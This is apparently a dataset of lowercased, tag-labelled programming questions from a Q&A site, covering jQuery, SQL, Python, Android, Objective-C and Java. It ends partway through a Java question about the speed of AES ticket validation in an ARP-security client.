how to adapt this iphone paging control to images instead of colors <pre><code>+ (uicolor *)pagecontrolcolorwithindex:(nsuinteger)index {     if (__pagecontrolcolorlist == nil) {         __pagecontrolcolorlist = [[nsarray alloc] initwithobjects:[uicolor graycolor]  [uicolor greencolor]  [uicolor magentacolor]                                    [uicolor bluecolor]  [uicolor orangecolor]  [uicolor browncolor]  [uicolor redcolor]  nil];     }     return [__pagecontrolcolorlist objectatindex:index % [__pagecontrolcolorlist count]]; } </code></pre>   in this above code i want to repalce the colors display in each page by changing it to uiimages  i want to load images insted of colors   what can i do to solve this problem  please help    thankzz,iphone
image description as popup in asp.net  i am making an asp.net website where i have sort of a static image gallery. now when i click on an image in this gallery i want to show a pop up containing text (10-15 lines) describing the image.      how can i achieve this  i don t have much idea as to how i should proceed.,asp.net
jquery gets wrong html() for span after a p tag <pre><code>&lt;html&gt; &lt;head&gt; &lt;script      src= //ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js       type= text/javascript /&gt;&lt;/script&gt; &lt;script&gt; $(function() {     alert($( #s1 ).html()); }); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;p/&gt; &lt;span id= s1 &gt;&lt;h3&gt;eggs&lt;/h3&gt;one dozen please&lt;/span&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   this page puts up a blank alert with the &lt;p> tag  but with &lt;br> it shows  &lt;h3>eggs&lt;/h3>one dozen please   as i d expected.    this appears to be the case with firefox 12.0 and chrome 19.0. ie8 gets it right. any ideas what might be happening,jquery
tabs title change based on selected tab  i have a tab with this code   <pre><code>&lt;ul class= nav nav-tabs pull-right &gt;     &lt;li&gt;&lt;a href= #tab_3-2  target= _self  data-toggle= tab &gt;tab3&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= #tab_2-2  target= _self  data-toggle= tab &gt;tab2&lt;/a&gt;&lt;/li&gt;     &lt;li class= active &gt;&lt;a href= #tab_1-1  target= _self  data-toggle= tab &gt;tab1&lt;/a&gt;&lt;/li&gt;     &lt;li class= pull-left header &gt;&lt;i class= fa fa-user-plus  aria-hidden= true &gt;&lt;/i&gt; title&lt;/li&gt; &lt;/ul&gt; </code></pre>   as you can see it has one title and i want a different title based on selected tab. so if i selected tab1 change title to title1  if tab2 change to title2 etc    can you help me,html
could not find gem  jquery-rails (>= 0) ruby  in any of the gem sources listed in your gemfile  i ve installed ruby on rails using  gem install rails  and got the message that rails has been successfully installed. when i try to check that it has been installed successfully using  rails -v  i m getting this error:    could not find gem  jquery-rails (>= 0) ruby  in any of the gem sources listed in your gemfile.    any ideas...,ruby-on-rails
difference in output - java  there isn t an error message appearing in my code. however  i get different outputs when i type my code in the main and when i call my methods.   <pre><code>package card;  import java.util.arrays; import java.util.random;  /**  *   */ public class card {      /**      * @param args the command line arguments      */     static string rank;     static string suit;     static string[] ranks = { 2   3    4    5    6    7    8    9    10    j    q    k    a };     static string[] suits = { spades   hearts    clubs    diamonds };     static card[] deck = new card[52];     public card(string rank  string suit)    {       this.rank = rank;       this.suit = suit;    }     public static string getrank()    {        return rank;    }     public static void setrank(string r)    {        rank = r;    }      public static string getsuit()    {        return suit;    }     public static void setsuit(string s)    {        suit = s;    }          public static void init(card[] deck)     {         for(int x = 0; x&lt;deck.length; x++)         {             card newcard = new card(ranks[x%13]  suits[x/13]);             deck[x] = newcard;         }     }      public static void swap(card[] deck  int a  int b)     {         card temp = deck[a];         deck[a] = deck[b];         deck[b] = temp;     }      public static void shuffle(card[] deck)     {         random rnd = new random();         for(int x = 0; x&lt;deck.length; x++)         {             swap(deck  x  (rnd.nextint(deck.length)));         }     }      public static void print(card[] deck)     {            for(int x =0; x&lt;deck.length; x++)         {               system.out.println(deck[x].getrank() +   of   + deck[x].getsuit());         }      }       public static void main(string[] args) {         // todo code application logic here       for(int x = 0; x&lt;deck.length; x++)     {         card cards = new card(ranks[x%13]  suits[x/13]);         deck[x] = cards;         system.out.println(deck[x].getrank() +   of   + deck[x].getsuit());          //init(deck);         //print(deck);     }     }  } </code></pre>   for doing my codes in the main manually without any methods  i will get the correct output:     eg    <pre><code>10 of diamonds j of diamonds q of diamonds k of diamonds </code></pre>   but when i call the methods  i get the following output:   <pre><code>a of diamonds a of diamonds a of diamonds a of diamonds a of diamonds </code></pre>   whats wrong,java
sql is null breaking my results  i ve got the following query. it works most time  but fails on occasions and i can t pin point why. i ve narrowed down the line that is causing it to fail as it s only happened to me once in a week  but my colleagues have reported it a number of times  is there a better way to write it     the line i believe that is making the sql fail is <code>(lessonsubject.startdate&lt;=  or lessonsubject.startdate is null)</code>  but specifically the <code>lessonsubject.startdate is null</code> command as <code>lessonsubject.startdate&lt;= </code> returns some data. while dissecting my query  i did remove <code>(lessonsubject.enddate&gt;=  or lessonsubject.enddate is null)</code> but i suppose once i add this line it will have the same behaviour and break my code.    what i am trying to do is retrieve data if <code>lessonsubject.startdate</code> is empty or my parameter <code> </code> is less than <code>lessonsubject.startdate</code>.    any help would be much appreciated. like i said it s working most of the time  but occasionally it fails and i can t pin point why  but i suspect it s the <code>startdate is null</code> condition that s making it fail.   <pre><code>select periodlist.pk_periodlistid  case periodlist.dayshort      when  m  then    &amp; $mon &amp;         when  tu  then    &amp; $tues &amp;         when  w  then    &amp; $wed &amp;         when  th  then    &amp; $thurs &amp;         when  f  then    &amp; $fri &amp;         when  s  then    &amp; $sat &amp;         else     &amp; $sun &amp;         end as mydate  periodlist.periodnumber  periodinformation.starttime  periodinformation.endtime  subjectlist.subjectcode   roomlist.roomcode  staff.staffid  lesson.pk_lessonid  setlist.setnumber  setlist.setname  setlist.form    from periodlist  left join periodinformation on periodlist.pk_periodlistid = periodinformation.fk_periodlistid  left join lesson on lesson.fk_periodlistid = periodinformation.fk_periodlistid  left join lessonroom on lesson.pk_lessonid = lessonroom.fk_lessonid  left join roomlist on lessonroom.fk_roomid = roomlist.pk_roomid  left join lessonstaff on lesson.pk_lessonid = lessonstaff.fk_lessonid  left join staff on lessonstaff.fk_staffid = staff.pk_staffid  left join lessonsubject on lesson.fk_lessonsubjectid = lessonsubject.pk_lessonsubjectid  left join subjectlist on lessonsubject.fk_subjectlistid = subjectlist.pk_subjectlistid  left join setlist on setlist.pk_setlistid = lessonsubject.fk_setlistid  left join setmember on setmember.fk_setlistid = setlist.pk_setlistid  where periodinformation.rotation=  and  periodlist.versioncode=  and   (lessonsubject.startdate&lt;=  or lessonsubject.startdate is null) and  (lessonsubject.enddate&gt;=  or lessonsubject.enddate is null) and setlist.fk_academicyearid=  </code></pre>,sql
select 2 previous and 2 next records with one in between  example:   <pre><code>id  catid 1     3 2     2 3     3 4     1 5     3 6     3 7     3 8     1 9     3  select * from tbl where id=5 </code></pre>   how would i select records 1 3 6 7   is this something that will take time  i mean a query/subquery     currently i select the whole set and then sort with a server script  thats why im asking if its possible to select 5 records with mysql...or should i not bother    thanks,mysql
io.konik.harness.fileappender: provider io.konik.carriage.itext.itextinvoiceappender could not be instantiated  does anyone know why this error is appearing when calling the constructor of the pdfhandler       io.konik.harness.fileappender: provider io.konik.carriage.itext.itextinvoiceappender could not be instantiated,java
whats wrong with all jquery functions  can anyone tell me why this code is not running as expected    <pre><code> $(document).ready(function () {     $( #search_box ).on( paste keyup change    input   function () {      alert( hi );     }     });  }); </code></pre>   the code is working in another page  when i copied it its not working . i know it has to be simple but i dont get it.,jquery
prepareforsegue fails when [detailviewcontroller setobject] is called <pre><code>- (void)prepareforsegue:(uistoryboardsegue *)segue sender:(id)sender {     if ([[segue identifier] isequaltostring:@ showdetail ]) {         detailviewcontroller *detailviewcontroller = [segue destinationviewcontroller];          listviewcell *cell = (listviewcell *)sender;         category *category = cell.category;         nslog(@ cell category = %@   cell.category.name);         //[detailviewcontroller setcategory:category];         detailviewcontroller.category = category;     } } </code></pre>   nslog clearly shows the correct cell.category.name  so the category object is good.    but it fails on this line   <pre><code>detailviewcontroller.category = category; </code></pre>   it immediatly stops at the following line with error  thread 1 program received signal sigabrt    <pre><code>#import  appdelegate.h   int main(int argc  char *argv[]) {     @autoreleasepool {         return uiapplicationmain(argc  argv  nil  nsstringfromclass([appdelegate class]));     } } </code></pre>,objective-c
calling function while creating form elements in javascript <pre><code>&lt;script language= javascript  type= text/javascript &gt; var a =10; function test() {  if ( a ==10) {    document.sample.checkbox1.checked = true ;    }  }  &lt;/script&gt;  &lt;form name= sample &gt;   &lt;input type= checkbox  name= checkbox1  test();&gt;option  &lt;/form&gt; </code></pre>   while creating form itself its automatically call function based on it should decide whether its need to checked or not ..     here the question . how  to call the function without any click ( on click event )     thanks    chells,javascript
android network permission not granted for application from unknown source  my app requires <code>android.permission.internet</code>.  when i run it over usb debugging  it successfully makes a socket connection.     when i download it via the browser from an  unknown source  aka my website  it asks for internet permissions and i give it.  when the app successfully launches  the socket connection cannot be made.    is there something i am missing that would complete the socket connection when downloading my app from an unknown source     i have verified the string <code>android.permission.internet</code> is in the binary  compiled <code>androidmanifest.xml</code> in the apk i am distributing.,android
columns fill viewport  with header  i m sure this question gets asked often  but i ve searched all over and haven t been able to find anything that solves this completely.  basically i want something like this:    <img src= https://i.stack.imgur.com/3uuff.png  alt= see bulleted description below >   <ul> <li>fixed-height  full-width header</li> <li>two columns that fill the rest of the viewport  and stretch farther if content is big enough</li> <li>columns have backgrounds and borders that need to stretch with them</li> </ul>   if at all possible i would like to achieve this in pure css  i.e. no images (à la faux columns) or javascript.    <strong>edit: left column is fixed-width  right column expands to fill remaining horizontal space</strong>,css
angularjs injector modulerr  following is my angular code.i searched a lot for the solution for the error the solution mentioned is include [ ngroute ] i have included but still the error is not being solved.    below is the code:    index.html   <pre><code> &lt;!doctype html&gt;  &lt;html ng-app= myapp &gt; &lt;head&gt;     &lt;script type= text/javascript  src= angular.min.js &gt;&lt;/script&gt;     &lt;script type= text/javascript  src= angular-route.min.js &gt;&lt;/script&gt;     &lt;script type= text/javascript  src= controller.js &gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt;     &lt;h1&gt;amail&lt;/h1&gt;     &lt;div ng-view&gt;&lt;/div&gt; &lt;/body&gt;   &lt;/html&gt; </code></pre>   controller.js   <pre><code>  var amailservices=angular.module( myapp  [ ngroute ]);    function emailrouteconfig ($routeprovider $locationprovider) {    $locationprovider.html5mode(true);    $routeprovider.    when( /  {     controller: listcontroller       templateurl: list.html     }).    when( /view/:id  {     controller: detailcontroller       templateurl: detail.html     }).    otherwise({     redirectto: /     });    }     amailservices.config(emailrouteconfig);      messages = [{         id: 0  sender:  jean@somecompany.com   subject:  hi there  old friend           date:  dec 7  2013 12:32:00   recipients: [ greg@somecompany.com ]          message:  hey  we should get together for lunch sometime and catch up.          + there are many things we should collaborate on this year.          }  {         id: 1  sender:  maria@somecompany.com           subject:  where did you leave my laptop            date:  dec 7  2013 8:15:12   recipients: [ greg@somecompany.com ]              message:  i thought you were going to put it in my desk drawer.          + but it does not seem to be there.          }  {         id: 2  sender:  bill@somecompany.com   subject:  lost python           date:  dec 6  2013 20:35:02   recipients: [ greg@somecompany.com ]          message:  nobody panic  but my pet python is missing from her cage.          + she doesn t move too fast  so just call me if you see her.          } ];      function listcontroller($scope){     $scope.messages=messages;           }       function detailcontroller($scope $routeparams){       $scope.message=messages[$routeparams.id];          } </code></pre>   list.html   <pre><code> &lt;table&gt; &lt;tr&gt;     &lt;td&gt;&lt;strong&gt;sender&lt;/strong&gt;&lt;/td&gt;     &lt;td&gt;&lt;strong&gt;subject&lt;/strong&gt;&lt;/td&gt;     &lt;td&gt;&lt;strong&gt;date&lt;/strong&gt;&lt;/td&gt; &lt;/tr&gt;    &lt;tr ng-repeat= message in messages &gt;         &lt;td&gt;{{message.sender}}&lt;/td&gt;         &lt;td&gt;&lt;a href= #/view/{{message.id}} &gt;&lt;/a&gt;&lt;/td&gt;         &lt;td&gt;{{message.date}}&lt;/td&gt; &lt;/tr&gt; </code></pre>       detail.html   <pre><code>&lt;div&gt;&lt;strong&gt;subject:&lt;/strong&gt;{{message.subject}}&lt;/div&gt; &lt;div&gt;&lt;strong&gt;sender:&lt;/strong&gt;{{message.sender}}&lt;/div&gt; &lt;div&gt;&lt;strong&gt;date:&lt;/strong&gt;{{message.date}}&lt;/div&gt; &lt;div&gt; &lt;strong&gt;to:&lt;/strong&gt; &lt;span ng-repeat= recipient in message.recipients &gt;{{recipient}}&lt;/span&gt; &lt;/div&gt; &lt;div&gt;{{message.message}}&lt;/div&gt; &lt;a href= #/ &gt;back to message list&lt;/a&gt; </code></pre>,angularjs
jquery find element using property  i am using jquery to locate some elements from a table. the problem is that i might not know all the time the type of the element. that means an element can be a simple td or a select. but since both have text associated with it i want to retrieve the element if that has the text property.    <pre><code>$($(rows[i]).find( element that has property text )[0]).text(); </code></pre>   update 1: i updated the code and the td text node has a value but the currentrow.triggertype is returned empty.   <pre><code>currentrow.triggertype = $($(rows[i]).find( td )[0]).filter(function() {             return this.nodetype == 3;          }).text(); </code></pre>,jquery
objective c - remove drawing  i ve been using the code below to draw on an uiview   <pre><code>cgcontextref context = uigraphicsgetcurrentcontext();  cgcontextsetstrokecolorwithcolor(context  [uicolor bluecolor].cgcolor); cgcontextsetrgbfillcolor(context  0.0  0.0  1.0  1.0); cgcontextsetalpha(context  0.5); cgcontextsetlinewidth(context  10.0); cgcontextmovetopoint(context  point.x  point.y); cgcontextaddlinetopoint(context  point.x  point.y); cgcontextstrokepath(context); </code></pre>   so that part works.<br> now how do i clear my drawing  most of the example just shows the drawing. having a hardtime finding keyword to google.    thanks <br> tee,objective-c
switch background image with jquery  i have found similar questions and answers but afraid i am still a bit lost.  i just want a set of links that will addclass to the body to change the background image.  i only understand how to use the addclass property on the actual element being clicked  but i am not sure how to get that to add a class to another div.  thanks for any pointers.,jquery
script working with os.path but not with pathlib (sigtrap)  i was advised to take advantage of the pathlib module in python 3.6  as i am designing a script on linux that ll be used in production on windows machines.    <code>pathlib</code> does seem promising  but while my code with the <code>os</code> module works great:   <pre><code>class watcher:     directory_to_watch = os.path.join(os.path.expanduser( ~ )   dropbox    credits_hd_jobs )      print(directory_to_watch)      def __init__(self):         self.observer = observer()       def run(self):         event_handler = handler()         self.observer.schedule(event_handler  self.directory_to_watch  recursive=false)         self.observer.start() </code></pre>   if i change to the pathlib equivalent:   <pre><code>from pathlib import path as p  class watcher:     directory_to_watch = p.joinpath(p.home()   dropbox    credits_hd_jobs/ )     print(directory_to_watch)      def __init__(self):         self.observer = observer()       def run(self):         event_handler = handler()         self.observer.schedule(event_handler  self.directory_to_watch  recursive=false)         self.observer.start() </code></pre>   80% i ll get this error in pycharm:   <blockquote>    process finished with exit code 133 (interrupted by signal 5: sigtrap)  </blockquote>   or the script will run  but my triggers won t fire at all.  confusing.,python
how much is too much to store in nsuserdefaults   <code>nsuserdefaults</code> is such an easy and convenient way to persist data on a device  and while it is encouraged as use for basic settings  i wonder  is there a practical limit to what you should use it for     suppose you have a large dictionary of many objects  1000  and each of those objects is itself a dictionary with simple text strings as values. overall  this big dictionary is probably not too large  since it only contains text  even if a fair amount of it.    is it o.k. to use <code>nsuserdefaults</code> for something like this  your main data model,objective-c
getting wrong output when finding factorial of number larger than 12  i am trying to solve one <a href= https://www.codechef.com/problems/fctrl2  rel= nofollow >factorial problem</a> provided in codechef in java. below is my code i tried and getting the results for the numbers up to 12. for 13!  i am getting wrong answer. and i am getting zero output for larger numbers.i am in learning phase  kindly help me.   <pre><code>    import java.util.scanner;  public class factorial {      /**      * @param args      */     public static void main(string[] args) {         // todo auto-generated method stub         scanner dd = new scanner(system.in);         int a=dd.nextint();         long fact[]=new long[a];         for (int i=0;i&lt;a;i++)         {             int b = dd.nextint();             int factorial=0 d=0;             if(b==0) system.out.println(1);             for(int temp=b-1;temp&gt;1;temp=d-1)             {                 d=temp;                 b=b*temp;             }             fact[i]=b;         }         for(int j=0;j&lt;a;j++)         {             system.out.println(fact[j]);         }     }  } </code></pre>,java
can t run python file via command prompt  file is not defined error  i am new to python and currently doing a basic python course to learn. i have been running code all day via the command prompt and it has been working fine. for some reason though it has stopped working and python files i try to run are returning the following error:    <strong><em>traceback (most recent call last): file     line 1  in  nameerror: name  hello  is not defined</em></strong>    as per the screen shot and the numbers on it  i performed the following steps in an attempt to run the file:   <ol> <li>change to the folder where file is saved</li> <li>run  dir  to list all files. i am trying to run  hello.py . this contains the code: print( hello simon! )</li> <li>i can run the file by just typing hello.py into the command prompt  this works ok</li> <li>i can also run with: python hello.py - this works ok</li> <li>when i activate python by typing python --> enter  this starts the interpreter ok. however if i then try to run by typing hello.py i get the error message.</li> </ol>   this has worked ok all day  i have not changed anything on my pc (to the best of my knowledge!) but just started to get this error a few hours ago. i have looked all over the internet for solution but found nothing. i have uninstalled and re-installed python  restarted etc... all to no avail.    i am running python 3.6.5 on a windows 7 64 bit pc.     it won t let me attach a picture so here is link to screenshot of command prompt and error: <a href= https://i.stack.imgur.com/bbue5.jpg  rel= nofollow noreferrer >https://i.stack.imgur.com/bbue5.jpg</a>    i hope someone can help me with this please thankyou,python
parsing local xml file data on basis of particular condition  how can i show <code>xml</code> tag values on basis of particular condition using local <code>xml</code> parsing.    e.g. i have this <code>xml</code> file stored in assets folder    <pre><code>&lt;language&gt; &lt;languagename&gt;english&lt;/languagename&gt; &lt;contact&gt;econtact&lt;/contact&gt; &lt;update&gt;eupdate&lt;/update&gt; &lt;/language&gt;  &lt;language&gt; &lt;languagename&gt;hebrew&lt;/languagename&gt; &lt;contact&gt;hcontact&lt;/contact&gt; &lt;update&gt;hupdate&lt;/update&gt; &lt;/language&gt; </code></pre>   i have two buttons  when i click english i want to show data regarding english and when    i click hebrew   i want to show only hebrew. please provide help.    thanks,android
mysql: how do i use count while performing a 3 way left join   i am performing a 3 way left join to retrieve message information. along with the messages  i also want the number of votes each message has. every vote a message has is represented by an entry in the votes table. i want to return all message and mark information along with the number of entries a given message has in the votes table.      <strong>query</strong>   <pre><code> var query = ([          select * from marks            left join messages              on marks.messageid = messages.id            left join votes              on votes.messageid = messages.id            where marks.x between   and                and marks.y between   and              order by timestamp desc      ]).join(   ); </code></pre>   <strong>schema</strong>   <pre><code>create table marks (   id int(5) auto_increment    primary key (id)    x float(10  6)    y float(10  6)    z float(10  6)    timestamp timestamp default current_timestamp    messageid int(5)    foreign key (messageid) references messages(id)    usertoken varchar(255)    foreign key (usertoken) references users(token) );  create table messages (   id int(5) auto_increment    primary key (id)    messagestring text    score int(5) default 0 );  create table votes (   id int(5) auto_increment    primary key(id)    usertoken varchar(255)    foreign key (usertoken) references users(token)    messageid int(5)    foreign key (messageid) references messages(id) ); </code></pre>   <strong>sample data:</strong>   <pre><code>mysql&gt; select * from marks; +----+------------+-------------+------------+---------------------+-----------+-----------+ | id | x          | y           | z          | timestamp           | messageid | usertoken | +----+------------+-------------+------------+---------------------+-----------+-----------+ |  3 |  37.783600 | -122.408974 |  69.000000 | 2015-04-08 16:15:27 |         3 | null      | |  6 | 535.000000 |  325.000000 | 325.000000 | 2015-04-09 14:36:39 |         6 | live      | |  7 | 535.000000 |  325.000000 | 325.000000 | 2015-04-09 14:40:10 |         7 | live      | |  8 | 535.000000 |  325.000000 | 325.000000 | 2015-04-09 14:41:00 |         8 | live      | |  9 | 535.000000 |  325.000000 | 325.000000 | 2015-04-09 14:41:42 |         9 | live      | | 10 | 535.000000 |  325.000000 | 325.000000 | 2015-04-09 14:43:44 |        10 | live      | +----+------------+-------------+------------+---------------------+-----------+-----------+ 6 rows in set (0.00 sec)  mysql&gt; select * from messages; +----+--------------------+-------+ | id | messagestring      | score | +----+--------------------+-------+ |  3 | brooks was here    |  9001 | |  4 | null               |     0 | |  5 | null               |     0 | |  6 | null               |     0 | |  7 | null               |     0 | |  8 | omg i love jalepno |     0 | |  9 | omg i love jalepno |     0 | | 10 | omgee beebeeque    |   100 | +----+--------------------+-------+ 8 rows in set (0.00 sec)  mysql&gt; select * from votes; +----+-----------+-----------+ | id | usertoken | messageid | +----+-----------+-----------+ |  2 | grgrdg    |         3 | |  3 | live      |         3 | |  5 | live      |        10 | |  6 | live      |        10 | |  7 | live      |        10 | |  8 | live      |        10 | |  9 | live      |        10 | | 10 | live      |         9 | | 11 | live      |         9 | | 12 | live      |         9 | +----+-----------+-----------+ 10 rows in set (0.00 sec) </code></pre>,mysql
python script won t execute after double click  nothing happens   i have just made a simple python program. i want to execute it with python 3.6.3 which i installed today. there are also available python 2.7 and 3.5 by default  their path /usr/bin/ the code looks like this:   <pre><code>#! /usr/local/bin/python3.6  name = input( enter your name:  ) age = int(input( enter your age:  )) print( your name is   + name +   and your age is   + str(age) +  . ) print(input( press any key to close the program:  )) </code></pre>   after this i opened terminal  navigated to the folder where i saved the file. /home/neba/python_projects and made the script executable: chmod u+x nina.py    when i tried to execute the nina.py nothing happens. i have even tried to execute it with python 3.5 and 2.7 but then an error occurred. i took the <a href= https://i.stack.imgur.com/hk6oa.png  rel= nofollow noreferrer >screen-shot</a> of the error.,python
hashset says it doesn t contain an element although equals returns true <pre><code>class node{     int x  y  value;     node(int x  int y  int v) {         this.x = x;         this.y = y;         value = v;     }      @override     public boolean equals(object o) {         node n = (node)o;         boolean result = this.x == n.x &amp;&amp; this.y == n.y &amp;&amp; this.value == n.value;         return result;     } }  void test() {     hashset&lt;node&gt; s = new hashset&lt;&gt;();     node n2 = new node(1  1  11);     node n1 = new node(1  1  11);     s.add(n1);     system.out.println(s.contains(n2));     system.out.println(n1.equals(n2)); } </code></pre>   returns:    <blockquote>    false         true  </blockquote>   per <a href= https://docs.oracle.com/javase/8/docs/api/java/util/hashset.html#contains-java.lang.object-  rel= nofollow noreferrer >https://docs.oracle.com/javase/8/docs/api/java/util/hashset.html#contains-java.lang.object-</a>  hashset uses equal to judge if it contains an element. so shouldn t the contains call return true here  what am i missing  thanks.,java
how to change table storage engine from myisam to innodb  i executed the command show table status and found that all my tables had the engine type as myisam. i want to change the engine type to innodb.    i searched and found the respective query and wrote it as :-   <pre><code>alter table project_titles_organization engine=innodb;  </code></pre>   but this did not work  i got this error message:   <pre><code>you have an error in your sql syntax near  engine=innodb  at line 1. </code></pre>   i  m using mysql version is 3.23.54a-11.    please tell me why is this happening and how to make it work,mysql
what will be the lifespan of the .net framework   will it ever become obsolete,.net
how to find an exact string within a mysql column  i have a question  what is the best way to find an exact string match within a column.    i tried using <code>locate( needle    haystack ) &gt; 0.</code> the problem with this is  for instance if the string i am trying to find is something like  ed   but inside a blob or a text column  i have a string that says  i lived   locate() would return 6. however  this is not what i am asking. in an exact match  it would be best to use <code>like   </code>  however  like has it s performance issues  therefore  it is not a viable solution.    is there a way i an use <code>locate()</code> to do an exact match,mysql
how to get total record count for records that match 3 different criteria in single query  i have a table similar to this   <pre><code>    item1     item2     yes        yes     yes        no     yes        yes     yes        yes </code></pre>   etc.  etc.    i need to get  the count of the records that have both item1 &amp; item2. and also the counts for records that just have item1 or item2 and not have duplicate records in the final query. any suggestions will be greatly appreciated as always.,sql
performance of method  i am calling a certain method when i call it alone using a  it take an average (for 10000 call) of 11523 nano second but when i call it from a context of another class  it take about 95721    the method body is   <pre><code>public static byte [] validaterequest(karppacket karppacket) {  try {     long before time;     before =system.nanotime();       byte [] encryptedticket=karppacket.getticket();     byte[] decryptedticket=null;     if(encryptedticket==null)         return null;     if(encryptedticket.length%16==0)     {            decryptedticket = encryptor.decrypt(encryptedticket  clientwindow.getsecretkey());         time=system.nanotime()-before;         system.out.println(time);           if(karppacket.getsenderprotocoladdressasstring().equals(getsrcaddressfromticket(decryptedticket)))          {             clientticketmanager.getarpcash().put(karppacket.getsenderprotocoladdressasstring()  karppacket.getsenderhardwareaddressformatted());               return decryptedticket;          }          return decryptedticket;       }      return null;      } catch (exception e) {          e.printstacktrace();         return null;     }  </code></pre>   why is that and how to improve its performance.  i hope this enough code     here is the encryptor.decrypt method   <pre><code>public static byte[] decrypt(byte [] encryptedbytearray string keystring)throws nosuchalgorithmexception                                                               nosuchpaddingexception  invalidkeyexception                                                              illegalblocksizeexception  badpaddingexception {     secretkey key=loadkey(keystring);  byte[] clearbytearray;  cipher dcipher=cipher.getinstance( aes ); dcipher.init(cipher.decrypt_mode key ); clearbytearray=dcipher.dofinal(encryptedbytearray); return clearbytearray; </code></pre>   }    and the load key   <pre><code>public static secretkey loadkey(string  keystring)  {               byte[] encoded = keystring.getbytes();              secretkey key = new secretkeyspec(encoded   aes );             return key;         } </code></pre>   the other context at which a run the validate request method   <pre><code>package karp.client;  import java.awt.color; import java.net.inet4address; import java.net.inetaddress; import java.net.networkinterface; import java.security.invalidkeyexception; import java.security.nosuchalgorithmexception; import java.sql.timestamp; import java.util.date;  import javax.crypto.badpaddingexception; import javax.crypto.illegalblocksizeexception; import javax.crypto.nosuchpaddingexception; import javax.swing.joptionpane; import javax.swing.text.style; import javax.swing.text.styleconstants; import javax.swing.text.styleddocument;  import karp.client.presentation.clientwindow; import karp.client.util.constants; import karp.generalutil.common.encryptor; import karp.generalutil.destination.ticketdestination; import karp.packet.karppacket;  public class karpmessagehandlerp {      string localipaddress=null;     clientticketmanager clientticketmanager;     karpsender karprequestsender=new karpsender();    byte [] srcmac; networkinterface network;      public karpmessagehandlerp(karppacket karppacket)     {           try         {              long before time;               localipaddress=karpreciever.localipaddress;             clientticketmanager=karpreciever.clientticketmanager;               srcmac = karpreciever.srcmac;  //                      if(karppacket.getoperation()==karppacket.arp_reply)         {              if(karppacket.getsenderprotocoladdressasstring().equals(localipaddress))//request sent by client             {                  // if the reply was sent by the client no action must be taken.              }             else             {           if(karppacket.gettargetprotocoladdressasstring().equals(localipaddress))          {          byte [] ticket=karppacket.getticket();          if(ticket==null)          {              //delete the new entry from cash  and refresh the cash           deleteentry(karppacket.getsenderprotocoladdressasstring());               }          else          {                if(validatereply(karppacket) )              {                    }                else              {                    deleteentry(karppacket.getsenderprotocoladdressasstring());                   //delete entry and refresh cash              }           }              }         }         }          else             if(karppacket.getoperation()==karppacket.arp_request)             {                   if(karppacket.getsenderprotocoladdressasstring().equals(localipaddress))//request sent by client                     {     //1                                  if(karppacket.getticket()!=null)                     {                     //custom request no need to add;                           }     //2                              else //new request need to add ticket                      {                         string destinationid=(karppacket.gettargetprotocoladdressasstring());                         // if the map contain ticket to destination add the ticket directly     //2-1                                        karppacket customkarppacket;                         byte [] ticketdestinationbyte=null;                         if(clientticketmanager.getdestinationticketmap().containskey(destinationid))                         {                              ticketdestinationbyte=clientticketmanager.getdestinationticketmap().get(destinationid);                                                     }     //2-2                send ticket request                         else                         {                                ticketdestinationbyte=clientticketmanager.getdestinationticket(destinationid);                            }                         if(ticketdestinationbyte!=null)                         {                          customkarppacket= karprequestsender.createkarppacket(karppacket.getdstaddress()  karppacket.getsrcaddress()                                                                               inetaddress.getlocalhost().getaddress()  karppacket.gettargetprotoaddr()                                                                              karppacket.gettargethardaddr()                                                                              ticketdestinationbyte  karppacket.arp_request);                           karprequestsender.sendkarppacket(customkarppacket);                         }                      }                     }                 else                 {                     if(karppacket.gettargetprotocoladdressasstring().equals(localipaddress))//check to see if the request is for the client                     {                      byte [] ticketrequest=validaterequest(karppacket);                     if(ticketrequest!=null)                     {                          //reply to the request;                          string sessionkey=getsessionkeyfromticket(ticketrequest);                          ticketdestination ticketdestination=new ticketdestination();                          ticketdestination.setdestinationid(karppacket.getsenderprotocoladdressasstring());                         ticketdestination.setsourceid(karppacket.gettargetprotocoladdressasstring());                         ticketdestination.setsourcedestinationkey(sessionkey);                         byte [] ticketdestinationbyte=ticketdestination.getasbyte();                         byte [] encryptedticketdestination=encryptor.encrypt(ticketdestinationbyte  sessionkey);                           ///need to review target hardware address                          karppacket karppacketreply=karprequestsender.createkarppacket(karppacket.getsrcaddress()  srcmac  inetaddress.getlocalhost().getaddress()  karppacket.getsenderprotoaddr() karppacket.getsrcaddress()  encryptedticketdestination  karppacket.arp_reply);                          karprequestsender.sendkarppacket(karppacketreply);                      }                        else //delete ticket invalid request                     {                          deleteentry(karppacket.getsenderprotocoladdressasstring());                      }                   }                 }             }         }         catch(exception e)         {             e.printstacktrace();         }          //system.out.println(timeconsumed);     }       public static byte [] validaterequest(karppacket karppacket)     {         try {             long before time;             before =system.nanotime();               byte [] encryptedticket=karppacket.getticket();             byte[] decryptedticket=null;             if(encryptedticket==null)                 return null;             if(encryptedticket.length%16==0)             {                    decryptedticket = encryptor.decrypt(encryptedticket  clientwindow.getsecretkey());                 time=system.nanotime()-before;                 system.out.println(time);                   if(karppacket.getsenderprotocoladdressasstring().equals(getsrcaddressfromticket(decryptedticket)))                  {                     clientticketmanager.getarpcash().put(karppacket.getsenderprotocoladdressasstring()  karppacket.getsenderhardwareaddressformatted());                       return decryptedticket;                  }                  return decryptedticket;               }              return null;              } catch (exception e) {                  e.printstacktrace();                 return null;             }        }       public boolean validatereply(karppacket karppacket) throws invalidkeyexception  nosuchalgorithmexception      nosuchpaddingexception  illegalblocksizeexception  badpaddingexception     {   //      karpreciever.stop=true; //      for(int i=0;i&lt;10000;i++) //          {          string sessionkey;          byte[] encryptedticket=karppacket.getticket();              if(clientticketmanager.getdestinationkeymap().containskey(karppacket.getsenderprotocoladdressasstring()))             {         sessionkey=clientticketmanager.getdestinationkeymap().get(karppacket.getsenderprotocoladdressasstring());          byte[] decryptedticket=encryptor.decrypt(encryptedticket  sessionkey);           if(karppacket.getsenderprotocoladdressasstring().equals(getsrcaddressfromticket(decryptedticket)))          {             clientticketmanager.getarpcash().put(karppacket.getsenderprotocoladdressasstring()  karppacket.getsenderhardwareaddressformatted());  //          after=system.nanotime(); //           timeconsumed=(after-before); //          system.out.print( kl +timeconsumed);             return true;          }             }             //}           return false;     }      public void deleteentry(string entryipaddress)     {         try         {            